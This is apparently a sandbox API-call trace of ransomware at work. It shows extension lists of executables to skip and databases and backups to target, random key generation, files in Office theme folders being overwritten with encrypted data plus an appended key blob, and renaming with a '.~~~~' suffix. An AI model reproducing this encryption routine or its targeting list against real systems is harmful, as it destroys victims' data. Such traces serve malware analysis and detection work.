	[0084.197] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.~~~~")) returned 1
	[0084.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6dc8 | out: hHeap=0x300000) returned 1
	[0084.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.198] GetLastError () returned 0x0
	[0084.198] RtlWakeConditionVariable () returned 0x365f70
	[0084.198] GetCurrentThreadId () returned 0x9f4
	[0084.198] GetCurrentThreadId () returned 0x9f4
	[0084.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28081e0
	[0084.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28083d8 | out: hHeap=0x300000) returned 1
	[0084.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26e8 | out: hHeap=0x300000) returned 1
	[0084.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28083d8
	[0084.198] lstrlenW (lpString=".scr") returned 4
	[0084.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.198] lstrlenW (lpString=".cmd") returned 4
	[0084.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.198] lstrlenW (lpString=".dll") returned 4
	[0084.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.198] lstrlenW (lpString=".bat") returned 4
	[0084.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.198] lstrlenW (lpString=".cpl") returned 4
	[0084.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.198] lstrlenW (lpString=".sys") returned 4
	[0084.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.198] lstrlenW (lpString=".msc") returned 4
	[0084.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.199] lstrlenW (lpString=".com") returned 4
	[0084.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.199] lstrlenW (lpString=".lnk") returned 4
	[0084.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.199] lstrlenW (lpString=".msp") returned 4
	[0084.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.199] lstrlenW (lpString=".pif") returned 4
	[0084.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.199] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.200] lstrlenW (lpString=".sqb") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.200] lstrlenW (lpString=".ost") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.200] lstrlenW (lpString=".txt") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.200] lstrlenW (lpString=".mdt") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.200] lstrlenW (lpString=".BDB") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.200] lstrlenW (lpString=".eql") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.200] lstrlenW (lpString=".DBF") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.200] lstrlenW (lpString=".EQL") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.200] lstrlenW (lpString=".FDB") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.200] lstrlenW (lpString=".EDB") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.200] lstrlenW (lpString=".DACPAC") returned 7
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.200] lstrlenW (lpString=".VHD") returned 4
	[0084.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.200] lstrlenW (lpString=".DBV") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.201] lstrlenW (lpString=".dacpac") returned 7
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.201] lstrlenW (lpString=".sdf") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.201] lstrlenW (lpString=".accdb") returned 6
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.201] lstrlenW (lpString=".DBX") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.201] lstrlenW (lpString=".MDT") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.201] lstrlenW (lpString=".SQB") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.201] lstrlenW (lpString=".vhd") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.201] lstrlenW (lpString=".bac") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.201] lstrlenW (lpString=".mdf") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.201] lstrlenW (lpString=".BAK") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.201] lstrlenW (lpString=".BAC") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.201] lstrlenW (lpString=".dbs") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.201] lstrlenW (lpString=".vhdx") returned 5
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.201] lstrlenW (lpString=".NDF") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.201] lstrlenW (lpString=".dat") returned 4
	[0084.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.201] lstrlenW (lpString=".DBS") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.202] lstrlenW (lpString=".CKP") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.202] lstrlenW (lpString=".edb") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.202] lstrlenW (lpString=".PST") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.202] lstrlenW (lpString=".dbf") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.202] lstrlenW (lpString=".SQL") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.202] lstrlenW (lpString=".pst") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.202] lstrlenW (lpString=".dbv") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.202] lstrlenW (lpString=".SDF") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.202] lstrlenW (lpString=".dtxs") returned 5
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.202] lstrlenW (lpString=".db3") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.202] lstrlenW (lpString=".OST") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.202] lstrlenW (lpString=".dbx") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.202] lstrlenW (lpString=".DB3") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.202] lstrlenW (lpString=".DAT") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.202] lstrlenW (lpString=".VHDX") returned 5
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.202] lstrlenW (lpString=".ndf") returned 4
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.202] lstrlenW (lpString=".DB") returned 3
	[0084.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.202] lstrlenW (lpString=".sql") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.203] lstrlenW (lpString=".MYD") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.203] lstrlenW (lpString=".DBT") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.203] lstrlenW (lpString=".ACCDB") returned 6
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.203] lstrlenW (lpString=".fdb") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.203] lstrlenW (lpString=".bak") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.203] lstrlenW (lpString=".myd") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.203] lstrlenW (lpString=".DTXS") returned 5
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.203] lstrlenW (lpString=".ckp") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.203] lstrlenW (lpString=".dbt") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.203] lstrlenW (lpString=".db") returned 3
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.203] lstrlenW (lpString=".TXT") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.203] lstrlenW (lpString=".MDF") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.203] lstrlenW (lpString=".bdb") returned 4
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.203] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.203] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.204] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.204] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.204] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20419453490) returned 1
	[0084.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c069870, dwHighDateTime=0x1d60e1e)) 
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a26e8
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26e8 | out: hHeap=0x300000) returned 1
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bd90
	[0084.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.205] GetLastError () returned 0x0
	[0084.205] GetLastError () returned 0x0
	[0084.205] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.205] GetLastError () returned 0x0
	[0084.205] GetLastError () returned 0x0
	[0084.312] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffabd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.312] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x543, lpOverlapped=0x0) returned 1
	[0084.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.312] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.312] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.312] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.312] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.313] CloseHandle (hObject=0x124) returned 1
	[0084.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f72d0
	[0084.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.~~~~")) returned 1
	[0084.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f72d0 | out: hHeap=0x300000) returned 1
	[0084.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.322] GetLastError () returned 0x0
	[0084.322] RtlWakeConditionVariable () returned 0x365f70
	[0084.322] GetCurrentThreadId () returned 0x9f4
	[0084.322] GetCurrentThreadId () returned 0x9f4
	[0084.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f72d0
	[0084.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8700 | out: hHeap=0x300000) returned 1
	[0084.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9928 | out: hHeap=0x300000) returned 1
	[0084.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8700
	[0084.322] lstrlenW (lpString=".scr") returned 4
	[0084.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.322] lstrlenW (lpString=".cmd") returned 4
	[0084.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.322] lstrlenW (lpString=".dll") returned 4
	[0084.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.322] lstrlenW (lpString=".bat") returned 4
	[0084.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.322] lstrlenW (lpString=".cpl") returned 4
	[0084.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.322] lstrlenW (lpString=".sys") returned 4
	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.323] lstrlenW (lpString=".msc") returned 4
	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.323] lstrlenW (lpString=".com") returned 4
	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.323] lstrlenW (lpString=".lnk") returned 4
	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.323] lstrlenW (lpString=".msp") returned 4
	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.323] lstrlenW (lpString=".pif") returned 4
